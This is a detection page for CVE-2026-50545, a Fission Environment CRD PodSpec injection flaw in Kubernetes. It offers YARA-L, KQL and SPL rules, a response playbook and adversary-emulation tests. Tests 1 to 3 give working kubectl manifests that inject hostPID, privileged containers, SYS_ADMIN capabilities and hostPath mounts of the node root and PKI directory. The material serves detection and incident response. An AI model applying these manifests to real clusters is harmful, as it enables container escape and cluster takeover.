CVE-2026-50545 Google Chronicle · YARA-L

Detect CVE-2026-50545: Fission Environment CRD PodSpec Injection in Google Chronicle

Detects exploitation of CVE-2026-50545, a critical vulnerability in Fission serverless framework (<= 1.23.0) where an attacker with permissions to create or modify Fission Environment custom resources can inject arbitrary PodSpec fields, enabling node escape and full Kubernetes cluster takeover. The vulnerability stems from insufficient validation of user-supplied PodSpec in the Environment CRD, allowing privilege escalation via hostPID, hostNetwork, privileged containers, or volume mounts to sensitive node paths.

MITRE ATT&CK

Tactic
Privilege Escalation Persistence Lateral Movement

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule cve_2026_50545_fission_podspec_injection {
  meta:
    author = "Argus Detection Platform"
    description = "Detects CVE-2026-50545 Fission Environment CRD PodSpec injection for node escape"
    severity = "CRITICAL"
    priority = "HIGH"
    cve = "CVE-2026-50545"
    reference = "https://github.com/fission/fission/security/advisories/GHSA-wmgg-3p4h-48x7"

  events:
    $audit.metadata.product_name = "Kubernetes"
    $audit.metadata.event_type = "USER_RESOURCE_UPDATE_CONTENT"
    $audit.target.resource.type = /environments/
    (
      $audit.target.resource.attribute.labels["apiGroup"] = "fission.io"
      or $audit.target.namespace = /fission/
    )
    $audit.network.http.method = /^(POST|PUT|PATCH)$/
    (
      $audit.security_result.description = /hostPID/
      or $audit.security_result.description = /hostNetwork/
      or $audit.security_result.description = /"privileged":true/
      or $audit.security_result.description = /hostPath/
      or $audit.security_result.description = /allowPrivilegeEscalation.*true/
      or $audit.security_result.description = /SYS_ADMIN/
      or $audit.security_result.description = /NET_ADMIN/
    )
    $audit.principal.user.userid = $actor
    $audit.target.resource.name = $env_name

  match:
    $actor, $env_name over 1h

  outcome:
    $risk_score = max(90)
    $alert_severity = "CRITICAL"
    $cve_id = "CVE-2026-50545"
    $recommended_action = "Block actor, isolate affected node, upgrade Fission to v1.24.0"

  condition:
    $audit
}
critical severity medium confidence

Chronicle YARA-L rule detecting Fission Environment CRD modifications containing PodSpec injection indicators associated with CVE-2026-50545. Correlates Kubernetes audit events with privilege-escalation field patterns. Remediated in v1.24.0.

Data Sources

Kubernetes Audit Logs

Required Tables

UDM Events

False Positives & Tuning

  • Authorized platform engineers with documented change requests for privileged Fission environments
  • Fission operator automated reconciliation events during version upgrades
  • Security team red team exercises in isolated environments with prior notification
  • Misconfigured but non-malicious Fission environment templates containing unused privileged fields

Other platforms for CVE-2026-50545

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Fission Environment CRD PodSpec Injection with hostPID

    Expected signal: Kubernetes audit log records POST to /apis/fission.io/v1/namespaces/fission/environments with requestObject containing hostPID:true, hostNetwork:true, and privileged:true in SecurityContext

  2. Test 2Fission Environment CRD hostPath Volume Mount to Node Root

    Expected signal: Kubernetes audit log entry for Environment CRD creation with requestObject volumes array containing hostPath entries for '/' and '/etc/kubernetes/pki'

  3. Test 3Fission Environment CRD Linux Capability Injection (SYS_ADMIN)

    Expected signal: Kubernetes audit log POST to environments resource with requestObject.spec.runtime.podspec.containers[].securityContext.capabilities.add containing SYS_ADMIN, NET_ADMIN entries

  4. Test 4Enumerate Existing Fission Environments for Injected PodSpec Fields

    Expected signal: Kubernetes audit log shows LIST/GET operations against environments resource in fission namespace; no write operations generated

Last updated: 2026-07-30 Research depth: standard
References (8)

Response Playbook

Triage

  1. Identify the actor (username, service account, or IP) that created or modified the Fission Environment CRD and determine if it is an authorized Fission administrator or CI/CD service account.
  2. Extract the full requestObject from the Kubernetes audit log for the flagged environment CRD operation and inspect which specific PodSpec fields were injected (hostPID, hostNetwork, privileged, hostPath, capabilities).
  3. Check the Fission version running in the cluster using `kubectl get pods -n fission -o jsonpath='{.items[*].spec.containers[*].image}'` to confirm if the affected version (<= 1.23.0) is deployed, and whether the v1.24.0 patch is available for deployment.
  4. Determine if any function pods were spawned from the modified environment by running `kubectl get pods -n fission-function -l environmentName=<env_name>` and inspect their security context.
  5. Review RBAC permissions granted to the flagged actor using `kubectl auth can-i --list --as=<username>` to assess full blast radius of the account compromise.

Containment

  1. Immediately revoke or suspend the API credentials of the actor that performed the suspicious Environment CRD modification using `kubectl delete rolebinding <binding> -n fission` or disable the associated service account token.
  2. Delete or patch the malicious Fission Environment CRD to remove injected PodSpec fields: `kubectl patch environment <env_name> -n fission --type=json -p '[{"op":"remove","path":"/spec/runtime/podspec/hostPID"},{"op":"remove","path":"/spec/runtime/podspec/hostNetwork"}]'`
  3. Cordon and drain any nodes where function pods from the compromised environment were scheduled: `kubectl cordon <node>` followed by `kubectl drain <node> --ignore-daemonsets --delete-emptydir-data` to prevent further exploitation, then upgrade Fission to v1.24.0 or later before uncordoning.

Evidence Collection

  1. Capture full Kubernetes audit log entries for the 2-hour window around the incident: `kubectl logs -n kube-system -l component=kube-apiserver | grep -A20 'environments'` and preserve to a tamper-evident store.
  2. Collect pod specs and container security contexts for all function pods associated with the compromised environment: `kubectl get pod -n fission-function -o yaml > fission_pods_evidence.yaml`
  3. Preserve node-level forensic data including /proc/1/ns symlinks, /etc/kubernetes/pki contents, and kubelet configuration from any nodes where privileged fission pods executed.

Escalation Criteria

  • !Escalate immediately to IR team if evidence shows a Fission function pod ran with hostPID=true, hostNetwork=true, or privileged=true and there is any indication of lateral movement to cluster control plane (etcd access, kube-apiserver direct calls from pod IP).
  • !Escalate if the threat actor has accessed or exfiltrated cluster secrets (Kubernetes Secrets, service account tokens, or Vault credentials) from within a compromised Fission pod, indicating full cluster compromise has occurred.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Kubernetes audit log entries showing PATCH/PUT/POST to environments resource in fission.io API group with requestObject containing hostPID, hostNetwork, or privileged fields
  • >Container runtime logs (containerd/CRI-O) showing pod creation with SecurityContext fields allowPrivilegeEscalation=true or privileged=true for fission-function namespace pods
  • >Node-level artifacts: /proc/1/net/tcp showing unexpected connections from fission pod network namespace, or /proc/<pid>/root symlinks pointing outside container rootfs

Tuning Guidance

Reduce false positives by maintaining an allowlist of authorized Fission administrator service accounts and excluding their operations from alerting. Additionally, filter out Fission controller service accounts (fission-svc, fission-fetcher) that legitimately modify environment specs during reconciliation — capture their typical field modifications and exclude only those patterns. Increase confidence to 'high' for operations performed by accounts outside the authorized Fission operator namespace or from external IP addresses not matching your internal CIDR ranges. Prioritize alerting on clusters that have not yet upgraded to Fission v1.24.0, which contains the upstream fix rejecting these PodSpec fields at admission time. Consider implementing a Kubernetes admission webhook (OPA/Gatekeeper or Kyverno) policy to block dangerous PodSpec fields in Fission CRDs proactively, which would eliminate the class of vulnerability entirely and reduce detection reliance.

Hunting Queries

7-day retrospective hunt for any historical Fission Environment CRD modifications containing dangerous PodSpec fields that may have been missed or occurred before detection was deployed, and to confirm whether affected clusters have upgraded to the patched v1.24.0 release

Hunting — KQL
kql 
KubeAuditAdminLogs
| where TimeGenerated > ago(7d)
| where Verb in ("create", "update", "patch")
| where ObjectRef has "environments"
| extend PodSpec = extract(@'"podspec":\s*\{([^}]+)\}', 1, tolower(tostring(RequestObject)))
| where PodSpec has_any ("hostpid", "hostnetwork", "hostipc", "privileged", "hostpath")
| summarize count() by User, ObjectRef, bin(TimeGenerated, 1h)
| order by count_ desc
Hunting — SPL
spl 
index=kubernetes sourcetype=kube:audit earliest=-7d
| spath input=_raw path=requestObject output=request_obj
| where match(lower(request_obj), "(hostpid|hostnetwork|hostipc|privileged|hostpath|sys_admin)")
| where match(_raw, "\"resource\":\"environments\"")
| stats count by user.username, objectRef.name, objectRef.namespace
| sort -count

Atomic Red Team Tests

Test 1 Fission Environment CRD PodSpec Injection with hostPID
linux

Creates a Fission Environment CRD with hostPID=true injected into the runtime PodSpec, simulating CVE-2026-50545 exploitation. This grants the function pod visibility into all host processes, enabling credential harvesting from host process memory.

Command

bash 
cat <<'EOF' | kubectl apply -f -
apiVersion: fission.io/v1
kind: Environment
metadata:
  name: cve-2026-50545-test-hostpid
  namespace: fission
spec:
  version: 2
  runtime:
    image: fission/python-env:1.23.0
    podspec:
      hostPID: true
      hostNetwork: true
      containers:
        - name: worker
          image: fission/python-env:1.23.0
          securityContext:
            privileged: true
            allowPrivilegeEscalation: true
EOF

Cleanup

bash 
kubectl delete environment cve-2026-50545-test-hostpid -n fission --ignore-not-found=true

Expected Telemetry

Kubernetes audit log records POST to /apis/fission.io/v1/namespaces/fission/environments with requestObject containing hostPID:true, hostNetwork:true, and privileged:true in SecurityContext

Expected Detection

Alert fires on KQL/SPL queries matching hostPID and privileged fields in Fission Environment CRD creation event with severity=critical

Test 2 Fission Environment CRD hostPath Volume Mount to Node Root
linux

Injects a hostPath volume mount pointing to the node root filesystem (/) into a Fission Environment PodSpec. This simulates the path-traversal aspect of CVE-2026-50545 that enables reading sensitive node files like /etc/kubernetes/pki or kubelet credentials.

Command

bash 
cat <<'EOF' | kubectl apply -f -
apiVersion: fission.io/v1
kind: Environment
metadata:
  name: cve-2026-50545-test-hostpath
  namespace: fission
spec:
  version: 2
  runtime:
    image: fission/python-env:1.23.0
    podspec:
      containers:
        - name: worker
          image: fission/python-env:1.23.0
          volumeMounts:
            - name: host-root
              mountPath: /host
            - name: host-pki
              mountPath: /host-pki
      volumes:
        - name: host-root
          hostPath:
            path: /
            type: Directory
        - name: host-pki
          hostPath:
            path: /etc/kubernetes/pki
            type: DirectoryOrCreate
EOF

Cleanup

bash 
kubectl delete environment cve-2026-50545-test-hostpath -n fission --ignore-not-found=true

Expected Telemetry

Kubernetes audit log entry for Environment CRD creation with requestObject volumes array containing hostPath entries for '/' and '/etc/kubernetes/pki'

Expected Detection

Detection fires on hostPath pattern match in Fission Environment creation, with hostPath values targeting sensitive node directories triggering high-confidence alert

Test 3 Fission Environment CRD Linux Capability Injection (SYS_ADMIN)
linux

Injects dangerous Linux capabilities (SYS_ADMIN, NET_ADMIN, SYS_PTRACE) into a Fission Environment PodSpec container securityContext. SYS_ADMIN is equivalent to near-root access and can be used for namespace escapes via user namespaces or cgroup exploitation.

Command

bash 
cat <<'EOF' | kubectl apply -f -
apiVersion: fission.io/v1
kind: Environment
metadata:
  name: cve-2026-50545-test-caps
  namespace: fission
spec:
  version: 2
  runtime:
    image: fission/python-env:1.23.0
    podspec:
      containers:
        - name: worker
          image: fission/python-env:1.23.0
          securityContext:
            capabilities:
              add:
                - SYS_ADMIN
                - NET_ADMIN
                - SYS_PTRACE
                - DAC_READ_SEARCH
            allowPrivilegeEscalation: true
EOF

Cleanup

bash 
kubectl delete environment cve-2026-50545-test-caps -n fission --ignore-not-found=true

Expected Telemetry

Kubernetes audit log POST to environments resource with requestObject.spec.runtime.podspec.containers[].securityContext.capabilities.add containing SYS_ADMIN, NET_ADMIN entries

Expected Detection

Alert triggers on SYS_ADMIN and NET_ADMIN pattern match in Fission Environment CRD modification with critical severity classification

Test 4 Enumerate Existing Fission Environments for Injected PodSpec Fields
linux

Passively enumerates all existing Fission Environment CRDs in the cluster to identify any environments already containing dangerous PodSpec fields, simulating post-compromise discovery or hunting for persistent implants left by prior exploitation of CVE-2026-50545.

Command

bash 
kubectl get environments -n fission -o json | python3 -c "
import json, sys
data = json.load(sys.stdin)
risk_fields = ['hostPID', 'hostNetwork', 'hostIPC', 'privileged', 'hostPath', 'allowPrivilegeEscalation', 'SYS_ADMIN', 'NET_ADMIN']
for item in data.get('items', []):
    name = item['metadata']['name']
    spec_str = json.dumps(item.get('spec', {}))
    found = [f for f in risk_fields if f in spec_str]
    if found:
        print(f'RISK: Environment {name} contains: {found}')
    else:
        print(f'OK: Environment {name}')
"

Cleanup

bash 
No cleanup required — this is a read-only enumeration

Expected Telemetry

Kubernetes audit log shows LIST/GET operations against environments resource in fission namespace; no write operations generated

Expected Detection

Read-only enumeration does not trigger write-based detection rules; useful for validating that hunting queries correctly identify pre-existing malicious environments

Related Detections

Tactic Hubs

TA0004Privilege EscalationTA0003PersistenceTA0008Lateral Movement

Related Techniques

T1611Escape to HostT1078.003Local AccountsT1548.001Setuid and SetgidT1552.007Container API

Same Tactic: Privilege Escalation

Popular Detections